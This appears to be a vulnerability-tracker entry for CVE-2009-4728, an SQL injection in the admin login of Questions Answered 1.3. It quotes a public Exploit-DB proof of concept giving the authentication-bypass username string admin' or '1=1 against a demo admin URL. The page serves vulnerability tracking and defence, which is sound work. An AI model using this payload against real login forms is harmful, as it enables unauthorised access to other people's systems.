CVE-2009-4728

high
Published 2010-03-18 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
8.5

Description

SQL injection vulnerability in the administrative interface in Questions Answered 1.3 allows remote attackers to execute arbitrary SQL commands via the username parameter. NOTE: some of these details are obtained from third party information.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-9341 webapps php verified text ยท 1 KB
snakespc ยท 2009-08-03

Questions Answered 1.3 - Authentication Bypass

text exploit Source: Exploit-DB
#--------------------------------------------------------
#Questions Answered v1.3 (Auth Bypass) Remote Sql Injection
#--------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com       
#-------------------------------------------------------
#
#Script:Questions Answered v1.3
#
#Demo:www.nichewebsite.net
#--------------------------------------------------------
#Exploit:
#--------
#Demo:http://demo.nichewebsite.net/admin
#Username:admin' or '1=1 
#Password:Super Cristal
----------------------------------------------------------

# milw0rm.com [2009-08-03]

Application impact

VendorProductVersionsFixed
questions_answeredquestions_answered1.3

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.